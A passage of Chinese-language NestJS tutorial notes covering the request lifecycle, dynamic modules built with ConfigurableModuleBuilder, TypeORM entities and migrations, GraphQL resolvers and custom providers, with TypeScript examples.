✅ 可以访问自身注入的依赖（比如 `this.configService`）；

✅ 更符合 **单一职责原则**（SRP）：服务负责初始化自己，不搞模块级别控制；

✅ 更易测试、解耦、复用。

**示例**：全局初始化逻辑

推荐写一个 `AppLifecycleService` 专门负责「全局生命周期管理」：

```ts
@Injectable()
export class AppLifecycleService implements OnModuleInit {
  constructor(private readonly configService: ConfigService) {}

  async onModuleInit() {
    await this.configService.load();
    console.log('全局初始化完成');
  }
}
```

然后在 `AppModule` 中注册它：

```ts
@Module({
  providers: [AppLifecycleService],
})
export class AppModule {}
```

这样就 **兼顾了“模块级初始化” + “依赖注入能力” + “结构清晰”**。

**只为了启动时简单打印一句话，写在模块类中没大碍，简单快捷；但一旦需求复杂，就要用 provider 来写**。

## 完整的请求生命周期

```plaintext
───────────────────────────────────────────────────────────────
📦 客户端请求
    │
    ▼
───────────────────────────────────────────────────────────────
📦 中间件 Middleware（Express/Fastify 层）
    → 处理原始请求（如CORS、静态资源、日志等）
    │
    ▼
───────────────────────────────────────────────────────────────
📦 守卫 Guard
    → 权限验证，是否放行
    └─ ❌ 若拒绝，则直接抛出异常 → 异常过滤器
    │
    ▼
───────────────────────────────────────────────────────────────
📦 拦截器 Interceptor（前置逻辑）
    → 方法执行前的前置操作（如记录时间、缓存等）
    │
    ▼
───────────────────────────────────────────────────────────────
📦 管道 Pipe（参数层面）
    → DTO验证、类型转换
    └─ ❌ 验证失败 → 抛出异常 → 异常过滤器
    │
    ▼
───────────────────────────────────────────────────────────────
📦 控制器方法（业务处理）

    │
    ▼
───────────────────────────────────────────────────────────────
📦 拦截器 Interceptor（后置逻辑）
    → 控制器方法返回后，对响应数据做加工（如统一包装）
    │
    ▼
───────────────────────────────────────────────────────────────
📦 返回响应
    │
    ▼
📦 客户端收到响应
───────────────────────────────────────────────────────────────

⚠️ 特殊情况：任何阶段抛出的异常
    → 由 异常过滤器（Exception Filter）捕获处理

```

各个环节：

| 阶段           | 作用                                   |
| -------------- | -------------------------------------- |
| **中间件**     | Express/Fastify 层，前端请求刚进入项目 |
| **守卫**       | 权限控制，决定是否执行控制器方法       |
| **拦截器 前**  | 方法执行前逻辑，如日志、缓存           |
| **管道**       | 参数校验与转换                         |
| **控制器方法** | 业务逻辑处理                           |
| **拦截器 后**  | 方法返回后，加工返回数据               |
| **异常过滤器** | 任何环节异常均由其统一处理与响应       |

**中间件**入口处，**守卫**控权限，**管道**改参数，**拦截器**包全程，有错走**异常过滤器**，返回响应给前端。

---

---
url: /nest/ldvxsju1/index.md
---
# 动态模块实践
动态模块允许你根据不同的配置或运行时条件来灵活地设置模块。这对于需要根据环境、用户需求或第三方服务配置来定制行为的模块非常有用。

创建一个简单的动态模块示例，它会根据配置动态创建一个带有特定前缀的消息服务。

**示例场景**

假设我们需要一个通用的消息服务，但是消息的前缀（例如 "DEBUG:", "INFO:" 等）可以根据应用程序的不同部分或特定需求进行动态配置。

**1. 定义模块选项** (message.module-definition.ts)

首先，我们需要定义这个动态模块能够接受哪些配置选项。NestJS 提供了一个 `ConfigurableModuleBuilder` 来简化动态模块的创建，它会为你生成一些必要的类型和令牌。

```typescript
// src/message/message.module-definition.ts
import { ConfigurableModuleBuilder } from '@nestjs/common';

/**
 * @interface MessageModuleOptions
 * @description 定义 MessageModule 动态配置的选项接口
 */
export interface MessageModuleOptions {
  prefix: string; // 消息前缀，例如 "DEBUG:", "INFO:"
}

// NestJS 提供的构建器，用于简化动态模块的创建。
// 它会自动生成ConfigurableModuleClass, MODULE_OPTIONS_TOKEN, OPTIONS_TYPE, ASYNC_OPTIONS_TYPE
// 这些类型和令牌在动态模块中非常重要，因为它们定义了模块的配置结构和提供方式。
export const { ConfigurableModuleClass, MODULE_OPTIONS_TOKEN, OPTIONS_TYPE, ASYNC_OPTIONS_TYPE } =
  new ConfigurableModuleBuilder<MessageModuleOptions>().build();
```

2. **创建一个服务** (message.service.ts)

这个服务将使用动态模块提供的配置。它会有一个构造函数来接收注入的配置选项。

```typescript
// src/message/message.service.ts
import { Injectable, Inject } from '@nestjs/common';
import { MessageModuleOptions, MODULE_OPTIONS_TOKEN } from './message.module-definition';

@Injectable()
export class MessageService {
  private readonly prefix: string;

  // 在创建 MessageService 实例时，注入由动态模块提供的配置对象。
  constructor(@Inject(MODULE_OPTIONS_TOKEN) private options: MessageModuleOptions) {
    this.prefix = options.prefix || '[DEFAULT]'; // 使用注入的前缀，如果没有则使用默认值
    console.log(`MessageService initialized with prefix: ${this.prefix}`);
  }

  log(message: string) {
    console.log(`${this.prefix} ${message}`);
  }
}
```

3. **实现动态模块** (message.module.ts)

这是动态模块的核心部分，它继承自 `ConfigurableModuleClass` 并实现了静态方法 `forRoot` 和 `forRootAsync`。

同步注册

```typescript
// src/message/message.module.ts
import { Module } from '@nestjs/common';
import { MessageService } from './message.service';
import {
  ConfigurableModuleClass,  
  OPTIONS_TYPE, // 约定命名，代表 options 的类型
  ASYNC_OPTIONS_TYPE, // 约定命名，代表异步 options 的类型
} from './message.module-definition';

// 动态消息模块
// 它继承自 ConfigurableModuleClass，该类提供了 forRoot 和 forRootAsync 的基础实现。
@Module({
  // providers 和 exports 在 forRoot/forRootAsync 中动态定义
})
export class MessageModule extends ConfigurableModuleClass {
  // ConfigurableModuleClass 已经提供了 forRoot 和 forRootAsync 的声明，
  // 我们只需要在 Module 装饰器中指定 providers 和 exports。

  // 静态方法，用于同步注册动态模块。
  // 当消费者模块导入 MessageModule.register(...) 时，
  // NestJS 会使用这里提供的配置来实例化 MessageService。
  // 注意：这里我们使用了 ConfigurableModuleClass 提供的 register 方法，
  // 它内部会处理 providers 和 exports。

  static register(options: typeof OPTIONS_TYPE): DynamicModule {
    return {
      module: MessageModule,
      providers: [
        {
          provide: MODULE_OPTIONS_TOKEN,
          useValue: options,
        },
        MessageService,
      ],
      exports: [MessageService],
    };
  }
}
```

异步注册

```typescript
  // 静态方法，用于异步注册动态模块。
  // 当配置需要异步获取（例如从数据库或环境变量中加载）时使用。
  // useFactory 允许你定义一个函数返回配置对象，
  // inject 数组指定 useFactory 函数需要依赖的其他 provider。
  // 注意：这里我们使用了 ConfigurableModuleClass 提供的 registerAsync 方法。
  
  static registerAsync(options: typeof ASYNC_OPTIONS_TYPE): DynamicModule {
    return {
      module: MessageModule,
      imports: options.imports, // 如果异步选项需要导入其他模块
      providers: [
        {
          provide: MODULE_OPTIONS_TOKEN,
          useFactory: options.useFactory,
          inject: options.inject || [],
        },
        MessageService,
      ],
      exports: [MessageService],
    };
  }
```

补充说明

```typescript
// ConfigurableModuleClass 已经为我们处理了 register (即 forRoot) 和 registerAsync (即 forRootAsync)
// 的大部分样板代码。它会确保 MODULE_OPTIONS_TOKEN 被正确提供。
// 所以，在 MessageModule 类本身，我们不需要显式地重写 register 或 registerAsync 方法。
// 只需要在 message.module-definition.ts 中使用 build() 方法，并让 MessageModule extends ConfigurableModuleClass 即可。

// 如果不使用 ConfigurableModuleBuilder，手动实现 dynamic module 看起来像这样：
import { DynamicModule, Module, Provider } from '@nestjs/common';
import { MessageService } from './message.service';

export interface MessageModuleOptions {
  prefix: string;
}

export interface MessageModuleAsyncOptions {
  imports?: any[];
  useFactory?: (...args: any[]) => Promise<MessageModuleOptions> | MessageModuleOptions;
  inject?: any[];
}

@Module({})
export class MessageModule {
  static forRoot(options: MessageModuleOptions): DynamicModule {
    return {
      module: MessageModule,
      providers: [
        {
          provide: 'MESSAGE_OPTIONS', // 一个自定义的令牌来提供选项
          useValue: options,
        },
        MessageService,
      ],
      exports: [MessageService],
    };
  }

  static forRootAsync(options: MessageModuleAsyncOptions): DynamicModule {
    const providers: Provider[] = [
      {
        provide: 'MESSAGE_OPTIONS',
        useFactory: options.useFactory,
        inject: options.inject || [],
      },
      MessageService,
    ];

    return {
      module: MessageModule,
      imports: options.imports,
      providers: providers,
      exports: [MessageService],
    };
  }
}
```

4. **在消费者模块中使用** (app.module.ts)

现在我们可以在主模块或任何其他模块中导入和使用这个动态模块了。

使用 `register`（同步配置）

在 `app.module.ts` 中导入 `MessageModule.register()`:

```typescript
// src/app.module.ts
import { Module } from '@nestjs/common';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { MessageModule } from './message/message.module'; // 导入我们创建的动态模块

@Module({
  imports: [
    // 这里的 .register() 方法接受一个对象，其结构由 MessageModuleOptions 接口定义。
    MessageModule.register({
      prefix: 'DEBUG', // 这里动态传入了消息前缀
    }),
  ],
  controllers: [AppController],
  providers: [AppService],
})
export class AppModule {}
```

使用 `registerAsync`（异步配置）

如果你需要从环境变量、配置文件或数据库中异步加载配置，可以使用 `registerAsync`。

```typescript
// src/app.module.ts
import { Module } from '@nestjs/common';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { MessageModule } from './message/message.module';
import { ConfigModule, ConfigService } from '@nestjs/config'; // 假设你使用了 @nestjs/config

@Module({
  imports: [
    // 导入 @nestjs/config 模块以获取环境变量
    ConfigModule.forRoot({
      isGlobal: true, // 使 ConfigService 在整个应用中可用
    }),
    // 如果 useFactory 依赖于其他模块的服务，需要在这里导入这些模块。
    // 一个工厂函数，返回一个 Promise 或一个配置对象。
    // 这个函数会在模块初始化时被调用以获取配置。
    // 依赖注入的令牌数组，其对应的服务实例会作为参数传递给 useFactory。
    MessageModule.registerAsync({
      imports: [ConfigModule], // 因为 useFactory 依赖 ConfigService，所以需要导入 ConfigModule
      useFactory: async (configService: ConfigService) => ({
        prefix: configService.get<string>('MESSAGE_PREFIX_ASYNC') || 'ASYNC_DEFAULT:', // 从环境变量中获取前缀
      }),
      inject: [ConfigService], // 注入 ConfigService 到 useFactory
    }),
  ],
  controllers: [AppController],
  providers: [AppService],
})
export class AppModule {}
```

**注意：** 对于 `registerAsync` 示例，你需要安装 `@nestjs/config` 包 (`npm install @nestjs/config`)，并且在你的 `.env` 文件或环境变量中设置 `MESSAGE_PREFIX_ASYNC`，例如 `MESSAGE_PREFIX_ASYNC=MY_APP_LOG:`。

5. **在控制器中测试** (app.controller.ts)

最后，我们可以在任何地方注入 `MessageService` 并使用它，它将自动使用你在 `AppModule` 中配置的前缀。

```typescript
// src/app.controller.ts
import { Controller, Get } from '@nestjs/common';
import { AppService } from './app.service';
import { MessageService } from './message/message.service'; // 导入 MessageService

@Controller()
export class AppController {
  constructor(
    private readonly appService: AppService,
    private readonly messageService: MessageService, // 注入动态配置的 MessageService
  ) {}

  @Get()
  getHello(): string {
    this.messageService.log('This is a test message from the controller!'); // 使用动态配置的服务
    return this.appService.getHello();
  }
}
```

**总结**

这个例子展示了一个 NestJS 动态模块如何根据配置动态地提供一个服务实例。

* **`MessageModuleOptions`**: 定义了动态模块接受的配置数据结构。
* **`ConfigurableModuleBuilder`**: NestJS 提供的工具，大大简化了动态模块的创建过程，为你生成了必要的魔术字符串（`MODULE_OPTIONS_TOKEN`）和基类 (`ConfigurableModuleClass`)。
* **`MessageService`**: 在构造函数中使用 `@Inject(MODULE_OPTIONS_TOKEN)` 来接收动态注入的配置。这是实现动态行为的关键。
* **`MessageModule`**: 继承 `ConfigurableModuleClass`，自动获得了 `register` (同步) 和 `registerAsync` (异步) 静态方法，用于在其他模块中导入时指定配置。
* **使用方式**: 在 `AppModule` 中通过 `MessageModule.register(...)` 或 `MessageModule.registerAsync(...)` 导入模块，并传入你的特定配置然后你就可以根据不同的需求或环境，灵活地配置和重用同一个模块，而不需要为每种配置创建单独的模块。

融合 NestJS 日志输出的服务类：

```typescript
import { MessageModuleOptions, MODULE_OPTIONS_TOKEN } from './message.module-definition';
import { Injectable, Inject } from '@nestjs/common';
import { Logger } from '@nestjs/common';



@Injectable()
export class MessageService {
    private readonly prefix: string;
    private readonly logger: Logger;


    constructor(@Inject(MODULE_OPTIONS_TOKEN) private readonly options: MessageModuleOptions) {
        this.prefix = options.prefix || 'DEFAULT';
        this.logger = new Logger(this.prefix);

    }
    log(message: string) {
        this.logger.verbose(`${message}`);
    }
}
```

模拟异步加载配置项：

```typescript
   static async loggerText(): Promise<string> {
        return new Promise((resolve) => {
            setTimeout(() => {
                resolve('🔨 DEBUG');
            }, 1000);
        });
    }
```

然后在 `AppModule` 中使用此异步配置：

```typescript
 MessageModule.registerAsync({
      imports: [ConfigModule],  
      useFactory: async (configService: ConfigService) => ({
        prefix: await DatabaseService.loggerText(), 
      }),
      inject: [ConfigService],  
    })
```

---

---
url: /nest/ljuywya9/index.md
---
**TypeORM** 是一款**基于 TypeScript 的 ORM（对象关系映射）工具**，核心作用是 **简化数据库操作**，它允许开发者通过**面向对象的方式（类、对象）** 操作数据库，无需直接编写复杂的 SQL 语句，同时支持 MySQL、PostgreSQL、MongoDB 等多种数据库。

TypeORM 是 NestJS 生态中数据库交互的主流方案，而 **Entity（实体类）是 TypeORM 的核心概念**，二者是**框架工具与核心载体**的关系。

**对象与数据库的映射桥梁**

ORM 的本质是「将代码中的对象与数据库中的表 / 文档一一对应」。

* 用 TypeScript 类描述数据库表结构；
* 用类的实例对应表中的一行数据；
* 用类的属性对应表的字段，开发者操作对象，TypeORM 自动转换成 SQL 执行，大幅降低数据库操作的复杂度。

**简化 CRUD 与复杂查询**：提供 `Repository`/`EntityManager` 等工具类，封装了增删改查、联表查询、分页排序等常用操作，无需手写 SQL。例如：

```js
// 通过实体类 User 直接查询所有用户
const users = await this.userRepository.find();
```

**支持迁移（Migration）**：数据库表结构的变更可以通过「迁移文件」版本化管理，团队协作时能保证所有人的数据库结构一致，避免手动改表导致的冲突。

**与 NestJS 深度集成**：NestJS 提供了 `@nestjs/typeorm` 模块，可通过依赖注入的方式快速将 TypeORM 功能注入到 Service 中，符合 NestJS 的模块化、解耦设计思想。

***

**Entity 是 TypeORM 定义数据库表结构的核心载体**，本质是一个 **被 `@Entity()` 装饰器标记的 TypeScript 类**。

Entity 类的基本写法

```ts
// user.entity.ts
import { Entity, Column, PrimaryGeneratedColumn } from 'typeorm';

@Entity() // 标记此类为实体，对应数据库中的 `user` 表（默认类名小写）
export class User {
  @PrimaryGeneratedColumn() // 标记为主键，自增
  id: number;

  @Column({ length: 50 }) // 对应表的字段，长度 50
  username: string;

  @Column({ default: true }) // 字段默认值 true
  isActive: boolean;
}
```

`@Entity()`：装饰器，告诉 TypeORM 这是一个实体类；

`@PrimaryGeneratedColumn()`：定义主键，自增 ID；

`@Column()`：定义普通字段，可配置长度、默认值、是否非空等属性。

***

**总结**

**TypeORM** 是 NestJS 中用于数据库交互的 ORM 工具，**核心是「对象 ↔ 数据库」的映射**；

**Entity 实体类** 是 TypeORM 的**映射载体**，**类 ↔ 数据库表**，**属性 ↔ 表字段**；

开发流程：**定义 Entity → 配置 TypeORM 模块 → 用 Repository 操作数据**，全程无需手写 SQL（复杂场景也支持原生 SQL）。

***

**自动创建数据库表** 的功能，是 TypeORM 中的 `synchronize: true` 配置在起作用，这个功能和 **数据库迁移（Migration）** 是 TypeORM 中管理表结构的 **两种不同方式**

二者各有适用场景，开发时用的自动同步很方便，但生产环境更推荐用迁移来管理表结构。

**原理**：当你在 NestJS 的 TypeORM 配置中设置 `synchronize: true` 时，**TypeORM 会在应用启动时，自动对比 `Entity` 实体类的结构和数据库中的表结构**：

* 如果表**不存在**：直接根据 Entity 生成对应的表；
* 如果表**已存在**：自动修改表结构（新增字段、调整字段类型等），匹配 Entity 的定义。

迁移是 TypeORM 提供的 **版本化管理表结构** 的工具，本质是**一组可执行、可回滚的 SQL 脚本**，用于替代开发环境的 `synchronize` 配置。

**核心思想**

* 每一次表结构变更（建表、加字段、改索引），都生成一个**迁移文件**，记录「变更操作」和「回滚操作」；
* 应用启动时，TypeORM 会检查数据库中已执行的迁移记录，只执行未执行的迁移脚本；
* 支持回滚：如果变更出错，可以执行回滚脚本恢复到之前的表结构。

***

GraphQL 是 **Facebook 开发的一种用于 API 的查询语言和运行时环境**，核心目标是**解决传统 RESTful API 的痛点**，让前端能**按需获取数据**，而非后端固定返回全量数据。

| **维度**   | **RESTful API**                                  | **GraphQL**                                |
| :--------- | :----------------------------------------------- | :----------------------------------------- |
| 数据获取   | 后端定义接口返回固定字段，前端可能拿到冗余数据   | 前端自定义查询字段，精确获取需要的数据     |
| 接口数量   | 一个资源对应一个接口（如 `/users`/`/users/:id`） | 通常只有 **一个入口端点**（如 `/graphql`） |
| 多资源请求 | 需发送多次请求（如先查用户，再查用户订单）       | 一次请求获取多个关联资源数据               |
| 版本管理   | 需发布新版本（如 `/v1/users`/`/v2/users`）       | 无需版本迭代，新增字段不影响旧查询         |

GraphQL 和 TypeORM **没有直接的依赖关系**，但在 NestJS 等后端项目中，二者是**协同工作的 “黄金搭档”**，分别负责不同的核心环节：

* **TypeORM**：负责 **“数据库交互”**（连接数据库、定义表结构、CRUD 操作），是**数据源层**的工具。
* **GraphQL**：负责 **“API 数据交互”**（定义前端能请求的接口、处理前端查询、返回按需数据），是**接口层**的规范。

协同工作流程（以 NestJS 为例）

你可以把这个流程理解为 **“前端 → GraphQL → Resolver → TypeORM → 数据库”** 的数据链路：

**定义 Entity（TypeORM 层）**

用 TypeORM 实体类映射数据库表，比如 `User` 实体：

```ts
// user.entity.ts
import { Entity, Column, PrimaryGeneratedColumn, OneToMany } from 'typeorm';
import { Post } from './post.entity';

@Entity()
export class User {
  @PrimaryGeneratedColumn()
  id: number;

  @Column()
  username: string;

  @Column({ nullable: true })
  email: string;

  @OneToMany(() => Post, post => post.author)
  posts: Post[];
}
```

**定义 GraphQL Schema（GraphQL 层）**

在 NestJS 中，通常用装饰器（`@ObjectType()`/`@Query()`）定义 Schema，和 Entity 结构**对应但独立**：

```ts
// user.type.ts
import { ObjectType, Field, ID } from '@nestjs/graphql';
import { PostType } from './post.type';

@ObjectType() // 标记为 GraphQL 类型
export class UserType {
  @Field(() => ID) // 映射 GraphQL 的 ID 类型
  id: number;

  @Field()
  username: string;

  @Field({ nullable: true }) // 允许为空
  email?: string;

  @Field(() => [PostType]) // 关联 Post 类型
  posts: PostType[];
}
```

**编写 Resolver（核心桥梁）**

Resolver 是二者的 “连接器”：它**调用 TypeORM 的 Repository 操作数据库**，然后将数据转换为 GraphQL 定义的类型返回给前端。

```ts
// user.resolver.ts
import { Resolver, Query, Args, ID } from '@nestjs/graphql';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm';
import { UserType } from './user.type';
import { User } from './user.entity';

@Resolver(() => UserType)
export class UserResolver {
  // 注入 TypeORM 的 User 仓库（数据源）
  constructor(
    @InjectRepository(User)
    private userRepository: Repository<User>,
  ) {}

  // 实现 Schema 中定义的 getUser 查询
  @Query(() => UserType)
  async getUser(@Args('id', { type: () => ID }) id: string) {
    // 用 TypeORM 从数据库查询用户
    const user = await this.userRepository.findOne({
      where: { id: parseInt(id) },
      relations: ['posts'], // 关联查询用户的帖子
    });
    return user; // 自动转换为 UserType 返回给前端
  }
}
```

**前端请求数据**

前端通过 `/graphql` 端点发送查询，按需获取数据，Resolver 会调用 TypeORM 从数据库取数并返回：

```sql
# 前端查询
query {
  getUser(id: "1") {
    id
    username
    posts { title } # 只取帖子标题
  }
}
```

**核心区别与联系总结**

| **关系**         | **具体说明**                                                 |
| :--------------- | :----------------------------------------------------------- |
| **核心定位不同** | TypeORM：**数据库工具**，解决 “代码 ↔ 数据库” 的映射问题  GraphQL：**API 规范**，解决 “前端 ↔ 后端” 的数据交互问题 |
| **无直接依赖**   | 二者可以独立使用：GraphQL 可以对接任何数据源（MySQL/Redis/ 第三方 API），不一定用 TypeORM；TypeORM 也可以配合 RESTful API 使用 |
| **协同价值**     | 在 NestJS 项目中，二者结合能实现 **“数据库表 → 实体类 → GraphQL 类型 → 前端查询”** 的完整链路，大幅提升开发效率：1. Entity 和 GraphQL Type 结构可复用，减少重复定义2. Resolver 层通过 TypeORM 统一管理数据库操作，逻辑清晰3. 前端按需取数，减轻后端数据处理压力 |

**总结**：**TypeORM 负责 “从数据库拿数据”，GraphQL 负责 “把数据给前端”，Resolver 是中间的 “搬运工”**。\*\*\*\*

---

---
url: /nest/q8psbk3q/index.md
---
# 自定义提供器
## DI 基础概念

依赖注入是一种控制反转（IoC）技术。在传统编程中，我们通常在代码内部直接创建和管理依赖对象；

**而控制反转则将这一控制权交给外部容器**，在 NestJS 中就是其运行时系统。这样，依赖项的实例化不再由使用方硬编码创建，而是由 IoC 容器统一管理和注入。

这种机制带来了几个关键优势：它让各个组件之间的耦合度显著降低，提升了代码的可测试性和模块化程度，同时也让整个应用架构更加灵活和可维护。

依赖注入（DI）是 NestJS 的核心机制，其底层实现可以概括为三个关键步骤：

**第一步：声明提供者**
在 `cats.service.ts` 中，使用 `@Injectable()` 装饰器将 `CatsService` 标记为一个**提供者**。这相当于告诉 Nest IoC 容器：“这个类可以由容器来管理和实例化”。

**第二步：声明依赖**
在 `cats.controller.ts` 中，`CatsController` 通过其构造函数**声明它依赖于 `CatsService`**：

```ts
constructor(private catsService: CatsService)
```

这里的 `CatsService` 在这里充当着一个“依赖令牌”（Token）的角色。

**第三步：注册关联**
在 `app.module.ts` 中，我们在 `@Module` 装饰器的 `providers` 数组中注册 `CatsService`。

这一步的本质是在 **IoC 容器中建立了一个映射关系**：当需要 `CatsService` 这个令牌时，就使用 `cats.service.ts` 文件中的 `CatsService` 类来满足需求。

**底层解析过程**
当 Nest IoC 容器需要实例化 `CatsController` 时，其内部运作流程如下：

1. **发现依赖**：容器检查 `CatsController` 的构造函数，发现它依赖一个名为 `CatsService` 的令牌。
2. **令牌查找**：容器根据第三步的注册信息，查找 `CatsService` 令牌所对应的具体类。
3. **实例化或返回**：假设是默认的单例（SINGLETON）模式，容器会检查是否已经缓存过 `CatsService` 的实例。如果有，则直接返回该现有实例；如果没有，则创建一个新的实例并缓存起来，最后将其注入到 `CatsController` 中。

**注意：** 以上描述进行了一定程度的简化。一个至关重要的细节是，整个依赖关系的解析过程（或称“构建依赖图”）是在应用程序启动引导阶段完成的。这个过程是**传递性**的——如果 `CatsService` 自身也依赖其他服务，这些依赖也会被递归地解析。依赖图确保了所有对象都能按照正确的、自底向上的顺序被创建出来。正是这种自动化机制，将开发者从手动管理和组装复杂依赖关系的繁琐工作中彻底解放出来。

## 标准提供者

```ts
@Module({
  controllers: [CatsController],
  providers: [CatsService],
})
```

`providers` 属性接受一个提供者数组。

之前，我们一直通过一个类名列表（如 `[CatsService]`）来提供这些依赖。实际上，这种写法是一种语法糖，它等价于下面更完整的对象语法：

```ts
providers: [
  {
    provide: CatsService, // 依赖令牌(Token)
    useClass: CatsService, // 要实例化的类
  },
];
```

通过这种显式的配置对象，注册过程就一目了然了：我们在这里清晰地**将令牌 `CatsService` 与类 `CatsService` 进行了关联**。

简写形式 `providers: [CatsService]` 只是为了方便最常见的场景，即当依赖的**令牌**与你想要实例化的**类**是同一个类型时。

Nest 会自动将其扩展为完整的 `{ provide: CatsService, useClass: CatsService }` 形式。

这种完整语法揭示了依赖注入容器的核心机制：建立一个映射关系，指明“当请求某个令牌时，应该使用哪个类（或值、工厂等）来满足依赖”。

## 自定义提供程序

当您的需求超出了标准提供者的能力范围时，该怎么办？以下是一些典型场景：

* 您希望**手动创建实例**，而不是让 Nest 自动实例化（或返回其缓存实例）。
* 您希望在多个依赖项中**复用某个现有的类或值**，而不仅仅是其自身。
* 您想要在测试时**使用模拟版本（Mock）来覆盖**一个真实的类。

为了应对这些复杂情况，Nest 允许您定义**自定义提供者**，它提供了多种灵活的方式来定义依赖关系。

**提示**：如果在依赖解析过程中遇到问题，您可以设置 `NEST_DEBUG` 环境变量。这样在应用程序启动时，就能在终端看到额外的依赖关系解析日志，帮助您定位问题。

## 值提供者：useValue

`useValue` 语法非常适合注入常量、将第三方库纳入 Nest 容器管理，或者在测试时使用模拟对象（Mock）替换真实的实现。它的一个高级应用场景是**基于环境变量动态提供配置**。

**基础示例：模拟服务**
假设您希望在测试中强制 Nest 使用一个模拟的 `CatsService`：

```ts
import { CatsService } from './cats.service';

// 定义一个模拟对象，它实现了与真实服务相同的接口
const mockCatsService = {
  findAll: () => ['模拟猫1', '模拟猫2'], // 模拟实现
  // ... 其他方法
};

@Module({
  imports: [CatsModule],
  providers: [
    {
      provide: CatsService, // 依赖令牌
      useValue: mockCatsService, // 直接使用这个值作为实例
    },
  ],
})
export class AppModule {}
```

在此示例中，任何依赖 `CatsService` 令牌的类，都将获得 `mockCatsService` 这个模拟对象。

由于 TypeScript 的**结构类型**特性，只要你的模拟对象与真实类具有兼容的接口（即拥有相同的方法和属性），Nest 就会接受它。这可以是字面量对象，也可以是 `new` 创建的实例。

**高级用法：动态配置与错误处理**

`useValue` 的真正威力在于注入任何值，包括那些动态生成的配置对象，并可以结合错误处理逻辑。

```ts
import { Module } from '@nestjs/common';
import { ConfigModule } from '@nestjs/config';

// 创建一个配置对象，其值可能来自环境变量
const dynamicConfig = {
  database: {
    host: process.env.DATABASE_HOST || 'localhost',
    port: parseInt(process.env.DATABASE_PORT, 10) || 5432,
    // 添加一个简单的配置验证
    get connectionString() {
      if (!this.host) {
        throw new Error('DATABASE_HOST environment variable is required');
      }
      return `postgresql://${this.host}:${this.port}`;
    }
  },
  apiKey: process.env.API_KEY, // 敏感信息从环境变量读取
  isProduction: process.env.NODE_ENV === 'production',
};

@Module({
  imports: [
    // 导入 ConfigModule 来管理环境变量（推荐做法）
    ConfigModule.forRoot(),
  ],
  providers: [
    {
      provide: 'CONFIG', // 使用字符串作为令牌，适用于非类依赖
      useValue: dynamicConfig,
    },
    {
      provide: 'EMAIL_SERVICE',
      useValue: {
        send: async (to: string, subject: string) => {
          // 模拟一个简单的邮件服务，包含错误处理
          try {
            if (!process.env.SMTP_SERVER) {
              throw new Error('SMTP configuration is missing');
            }
            // 实际的邮件发送逻辑...
            console.log(`Sending email to ${to}: ${subject}`);
            return { success: true };
          } catch (error) {
            // 在这里可以记录日志或触发监控告警
            console.error('Email service error:', error.message);
            throw new Error('Failed to send email');
          }
        }
      },
    },
  ],
  exports: ['CONFIG', 'EMAIL_SERVICE'], // 导出以供其他模块使用
})
export class AppModule {}
```

**使用方式：**

```ts
import { Inject, Injectable } from '@nestjs/common';

@Injectable()
export class UserService {
  constructor(
    @Inject('CONFIG') private readonly config: any,
    @Inject('EMAIL_SERVICE') private readonly emailService: any,
  ) {}

  async createUser(userData: any) {
    // 使用配置
    console.log(`Connecting to: ${this.config.database.connectionString}`);
    
    // 使用注入的服务，并自动获得错误处理能力
    await this.emailService.send(userData.email, 'Welcome!');
    
    // ... 创建用户的逻辑
  }
}
```

**关键要点：**

1. **环境变量集成**：`useValue` 可以轻松封装从环境变量读取的配置，并在应用启动时就完成初始化。
2. **简易验证**：可以在配置对象中加入 getter 或方法，在访问时进行运行时的配置验证。
3. **内置错误处理**：对于服务类模拟，可以直接在方法内实现 try-catch 逻辑，为所有消费者提供统一的错误处理。
4. **字符串令牌**：对于值提供者，经常使用字符串作为令牌（如 `'CONFIG'`），注入时需要使用 `@Inject()` 装饰器。

这种模式让您的应用配置和外部服务集成变得更加声明式和可测试。

## 工厂提供者：useFactory

`useFactory` 语法允许我们动态地创建提供者，实际的提供者值将由工厂函数的返回值决定。

工厂函数可以根据需求设计得**简单**或**复杂**：简单的工厂可能不依赖任何提供者；

而复杂的工厂则可以注入它所需要的其它提供者，以便计算结果。

对于后一种情况，工厂提供者语法提供了一对相关机制来支持依赖注入：

**工厂函数参数**：工厂函数可以接受（可选的）参数。

**inject 属性**：（可选的）`inject` 属性接受一个提供者数组，Nest 在实例化过程中会解析这些提供者，并将它们作为参数传递给工厂函数。这些提供者也可以标记为可选的。需要注意的是，`inject` **数组中的提供者顺序与工厂函数的参数顺序必须一一对应**。

下面的示例将演示如何使用这些机制：

```ts
const connectionProvider = {
  provide: 'CONNECTION',
  useFactory: (optionsProvider: MyOptionsProvider, optionalProvider?: string) => {
    const options = optionsProvider.get();
    return new DatabaseConnection(options);
  },
  inject: [MyOptionsProvider, { token: 'SomeOptionalProvider', optional: true }],
  //       \_______________/              \___________________________/
  //        此提供者是必需的                 此令牌对应的提供者可以解析为 `undefined`
};

@Module({
  providers: [
    connectionProvider,
    MyOptionsProvider, // 基于类的提供者
    // { provide: 'SomeOptionalProvider', useValue: 'anything' },
  ],
})
export class AppModule {}
```

* **工厂函数 (`useFactory`)**：
  它是一个可以返回任意值的函数，返回值将作为 `provide` 所指定令牌的提供者实例。函数的参数可以来自其他提供者，由 `inject` 数组定义。
* **依赖注入 (`inject`)**：
  `inject` 数组定义了工厂函数所依赖的提供者。Nest 会按顺序解析这些提供者，并将它们作为参数传递给工厂函数。如果某个依赖被标记为 `optional: true`，则即使该提供者不存在，也不会报错，对应的参数值将为 `undefined`。
* **可选依赖**：
  通过 `{ token: 'SomeOptionalProvider', optional: true }` 这样的语法，我们可以声明一个依赖是可选的。这在某些情况下非常有用，例如当某个功能依赖的外部服务可能不存在时。

假设我们有一个更复杂的场景，需要根据配置动态创建数据库连接，并且需要日志服务（可选）来记录连接过程：

```ts
import { Module } from '@nestjs/common';

class ConfigService {
  getDatabaseOptions() {
    return { host: 'localhost', port: 5432 };
  }
}

class LoggerService {
  log(message: string) {
    console.log(`[LOG] ${message}`);
  }
}

const databaseConnectionFactory = {
  provide: 'DATABASE_CONNECTION',
  useFactory: (
    configService: ConfigService,
    loggerService?: LoggerService, // 可选依赖
  ) => {
    const options = configService.getDatabaseOptions();
    if (loggerService) {
      loggerService.log('Creating database connection...');
    }
    // 模拟创建数据库连接
    const connection = `Connected to ${options.host}:${options.port}`;
    if (loggerService) {
      loggerService.log('Database connection established.');
    }
    return connection;
  },
  inject: [
    ConfigService,
    { token: 'LOGGER_SERVICE', optional: true }, // 可选依赖
  ],
};

@Module({
  providers: [
    ConfigService,
    // LoggerService, // 如果取消注释，LoggerService 将被注入
